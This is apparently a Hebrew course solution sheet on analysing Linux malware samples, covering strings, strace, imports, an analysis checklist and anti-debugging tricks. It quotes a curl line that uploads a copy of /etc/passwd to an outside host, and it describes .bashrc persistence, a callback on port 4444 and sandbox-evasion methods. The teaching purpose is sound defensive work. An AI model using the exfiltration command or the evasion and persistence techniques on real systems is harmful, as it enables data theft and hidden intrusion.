7.5 ניתוח תוכנות זדוניות פתרון

פתרון תרגיל 1 - ניתוח סטטי עם strings ו-readelf

1. פלט file:
   

   sample1: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
   

   
   סוג הקובץ: קובץ הרצה ELF של 64 ביט, מקושר דינמית, ובלי סימבולים (stripped).

2. מחרוזות מעניינות שנמצא ב-strings:

3. "/etc/passwd" - קורא קובץ סיסמאות של המערכת
4. "/tmp/.cache_data" - שם קובץ חשוד עם נקודה בהתחלה (קובץ מוסתר)
5. "curl -s http://192.168.1.100:8080/upload -d @/tmp/.cache_data" - שולח נתונים לשרת חיצוני!

6. "r", "w" - מצבי פתיחת קבצים

7. פלט readelf -d יראה תלות ב-libc.so (הספרייה הסטנדרטית). זו התלות היחידה הישירה.

8. ניתוח ההתנהגות:

9. התוכנית קוראת את /etc/passwd - קובץ שמכיל מידע על משתמשי המערכת
10. שומרת את התוכן בקובץ מוסתר (/tmp/.cache_data - הנקודה בהתחלה מסתירה אותו מ-ls רגיל)
11. שולחת את הנתונים לשרת חיצוני בכתובת 192.168.1.100 על פורט 8080 באמצעות curl
12. מוחקת את הקובץ הזמני אחרי השליחה (unlink) כדי להסתיר עקבות

זו תוכנית גניבת מידע (data exfiltration) קלאסית.

---

פתרון תרגיל 2 - זיהוי התנהגות מפלט strace

1. בדיקת /proc/self/status: התוכנית בודקת את השדה TracerPid. אם הערך שונה מ-0, זה אומר שמישהו מדבג אותה (debugger מחובר). זו טכניקת אנטי-דיבוג - אם מזהים debugger, התוכנה יכולה לשנות התנהגות או לצאת.

2. קבצים רגישים:

3. /etc/shadow - ניסתה לקרוא (נכשלה בגלל חוסר הרשאות) - מכילה hash-ים של סיסמאות

4. /etc/passwd - קראה בהצלחה - מכילה מידע על משתמשי המערכת

5. שליחת נתונים:

6. כתובת: 10.0.0.50
7. פורט: 4444 (פורט נפוץ לshell הפוכה ו-malware)

8. שלחה את תוכן /etc/passwd לשרת

9. התמדה (persistence):

10. התוכנית כותבת ל-~/.bashrc את השורה /tmp/.hidden_process &

11. זה אומר שבכל פעם שהמשתמש פותח terminal חדש, התהליך הזדוני יורץ מחדש

12. מה קורה בסוף:

13. יוצרת תיקייה מוסתרת /tmp/.hidden_dir
14. כותבת לתוכה קובץ בינארי חדש (payload) - שמתחיל ב-\x7fELF (כותרת ELF)

15. עושה fork ומריצה את ה-payload כתהליך בן

16. מזהי פשרה (IOC):

17. כתובת IP: 10.0.0.50
18. פורט: 4444
19. נתיבי קבצים: /tmp/.hidden_dir/payload, /tmp/.hidden_process
20. שינוי קובץ: /home/user/.bashrc (שורה שנוספה)
21. תהליך: התהליך payload שנוצר ב-fork

---

פתרון תרגיל 3 - זיהוי ייבואים חשודים

1. פלט objdump -T יראה בין היתר:
2. ptrace
3. socket
4. connect
5. send
6. htons
7. inet_pton
8. gethostname
9. close

10. strlen

11. ו-3. סיווג הפונקציות החשודות:

אנטי-דיבוג:
- ptrace - משמשת לזיהוי debugger. אם ptrace(PTRACE_TRACEME) נכשלת, סימן ש-debugger כבר מחובר.

רשת:
- socket - יוצרת socket לתקשורת רשת
- connect - מתחברת לשרת מרוחק
- send - שולחת נתונים דרך ה-socket
- htons - ממירה מספר פורט לסדר בתים של רשת
- inet_pton - ממירה כתובת IP ממחרוזת למבנה בינארי

איסוף מידע:
- gethostname - אוספת את שם המחשב

1. ניתוח ההתנהגות על סמך הייבואים:
   התוכנית כנראה:
2. בודקת אם מישהו מדבג אותה (ptrace)
3. אם לא - אוספת מידע על המחשב (hostname)
4. יוצרת חיבור רשת לשרת מרוחק
5. שולחת את המידע שאספה

זהו דפוס של beacon או reverse shell ראשוני - התוכנה "מדווחת הביתה" עם מידע בסיסי על המחשב הנגוע.

---

פתרון תרגיל 4 - עיצוב צ'קליסט לניתוח

שלב 1 - הכנה

• הקמת VM מבודד עם כל הכלים הנדרשים
• יצירת snapshot של המצב הנקי
• ניתוק רשת (או הגדרה לרשת מבודדת)
• תיעוד שם הקובץ, מקור, ותאריך קבלה

שלב 2 - ניתוח סטטי ראשוני

• file - זיהוי סוג הקובץ, ארכיטקטורה, קישור דינמי/סטטי
• md5sum / sha256sum - חישוב hash-ים לזיהוי
• strings - חיפוש מחרוזות: URL-ים, כתובות IP, נתיבי קבצים, הודעות
• readelf -h - בדיקת כותרת ELF
• readelf -d - בדיקת תלויות (ספריות דינמיות)
• objdump -T - בדיקת ייבואים (פונקציות חיצוניות)

שלב 3 - ניתוח סטטי עמוק (Ghidra)

• מציאת main ונקודת הכניסה
• מעקב אחרי זרימת הבקרה מ-main
• חיפוש קריאות לפונקציות רשת (socket, connect, send)
• חיפוש קריאות לפונקציות קבצים (open, write, unlink)
• חיפוש קריאות לפונקציות תהליכים (fork, exec, system)
• חיפוש טכניקות אנטי-ניתוח (ptrace, /proc/self/status)
• שינוי שמות פונקציות ומשתנים לשמות משמעותיים

שלב 4 - ניתוח דינמי

• strace - מעקב אחרי syscall-ים (רשת, קבצים, תהליכים)
• ltrace - מעקב אחרי קריאות ספרייה
• tcpdump / Wireshark - לכידת תעבורת רשת
• inotifywait - ניטור שינויים בקבצים
• GDB - דיבוג לנקודות שדורשות הסבר נוסף
• ניטור תהליכים חדשים עם ps / pstree

שלב 5 - תיעוד

• רישום מזהי פשרה: hash-ים, כתובות IP, דומיינים, נתיבי קבצים
• תיאור ההתנהגות: מה התוכנה עושה, באיזה סדר
• סיווג: סוג התוכנה הזדונית (trojan, backdoor, ransomware וכו')
• המלצות להגנה: חסימת IP-ים, חוקי YARA, בדיקת IOC-ים
• שחזור ה-VM ל-snapshot הנקי

---

פתרון תרגיל 5 - טכניקות אנטי-ניתוח

1. בדיקת TracerPid ב-/proc/self/status

מה הטכניקה עושה: התוכנית קוראת את הקובץ /proc/self/status ומחפשת את השדה TracerPid. אם הערך שונה מ-0, מישהו מדבג את התהליך.

למה: תוכנות זדוניות רוצות לזהות אם מישהו מנתח אותן. אם מזהים debugger, הן יכולות לצאת, לשנות התנהגות, או אפילו למחוק את עצמן.

איך לזהות: ב-strace נראה open("/proc/self/status", ...) ואחריו read. בגידרה נראה קריאה ל-fopen/open עם הנתיב הזה, ואז חיפוש מחרוזת "TracerPid".

2. שימוש ב-ptrace(PTRACE_TRACEME)

מה הטכניקה עושה: התוכנית קוראת ל-ptrace(PTRACE_TRACEME). אם debugger כבר מחובר, הקריאה תיכשל (תחזיר -1) כי תהליך יכול להיות traced רק על ידי תהליך אחד.

למה: זו דרך פשוטה ויעילה לזהות debugger. GDB משתמש ב-ptrace כדי לשלוט בתהליך, אז אם ptrace כבר תפוס - יש debugger.

איך לזהות: ב-strace נראה ptrace(PTRACE_TRACEME, ...). ב-objdump/Ghidra נראה את ptrace ברשימת הייבואים. אפשר לעקוף את זה עם LD_PRELOAD שמחליף את ptrace בפונקציה שתמיד מחזירה 0.

3. בדיקות זמן

מה הטכניקה עושה: התוכנית מודדת זמן לפני ואחרי קטע קוד. אם עבר יותר מדי זמן (כי אנחנו עוצרים ב-breakpoints), התוכנית יודעת שמדבגים אותה.

למה: כשמדבגים עם GDB ועוצרים ב-breakpoint, הזמן שעובר הוא הרבה יותר מריצה רגילה. הפרש של כמה שניות במקום מיקרו-שניות הוא סימן ברור לדיבוג.

איך לזהות: בגידרה, חפשו קריאות ל-clock_gettime, gettimeofday, time, או הוראת rdtsc באסמבלי, שמופיעות לפני ואחרי קטע קוד, עם השוואה של ההפרש.

4. השהיה ארוכה עם sleep

מה הטכניקה עושה: התוכנית קוראת ל-sleep(300) (או יותר) בתחילת הריצה, ומחכה 5 דקות לפני שמתחילה לפעול.

למה: הרבה sandbox-ים אוטומטיים מריצים את הדוגמה למשך זמן קצר (דקה-שתיים) ואז בודקים מה קרה. אם התוכנה ישנה כל הזמן הזה - ה-sandbox לא ימצא שום דבר חשוד.

איך לזהות: ב-strace נראה nanosleep(...) או clock_nanosleep(...) עם ערך גדול. בגידרה נראה קריאה ל-sleep עם ארגומנט גדול. אפשר לעקוף את זה ב-GDB על ידי דילוג על ה-sleep (שינוי rip).

5. בדיקת כלי ניתוח ב-/proc

מה הטכניקה עושה: התוכנית סורקת את /proc ומחפשת תהליכים של כלי ניתוח כמו gdb, strace, wireshark, ghidra. למשל, קוראת את /proc/[pid]/cmdline לכל תהליך ומחפשת שמות מוכרים.

למה: אם כלי ניתוח רצים על אותה מכונה, סביר שמישהו מנתח את התוכנה הזדונית. התוכנה יכולה לסרב לרוץ או לשנות התנהגות.

איך לזהות: ב-strace נראה הרבה קריאות open("/proc/*/cmdline", ...). בגידרה נראה לולאה שעוברת על תיקיות ב-/proc ומשווה מחרוזות לשמות כלים. ב-strings נראה את שמות הכלים שהתוכנה מחפשת.